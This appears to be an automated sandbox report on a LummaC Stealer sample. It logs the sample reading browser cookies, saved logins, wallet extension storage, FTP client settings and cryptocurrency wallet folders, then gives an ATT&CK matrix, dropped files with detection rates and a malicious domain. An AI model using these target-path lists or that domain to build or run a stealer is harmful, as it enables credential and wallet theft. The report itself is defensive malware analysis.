Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior

Source: Yara match

File source: Process Memory Space: 0tClIDb.exe PID: 7872, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 0tClIDb.exe PID: 7872, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00AEEC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		6_2_00AEEC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00AEDF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		6_2_00AEDF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	12 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	121 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	12 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	121 Registry Run Keys / Startup Folder	12 Software Packing	NTDS	235 System Information Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	861 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	361 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	361 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\0tClIDb[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\0tClIDb[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	78%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	33%	ReversingLabs
C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	78%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	78%	ReversingLabs	Win32.Spyware.Lummastealer

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
impend-differ.biz	100%	URL Reputation	malware

URLs

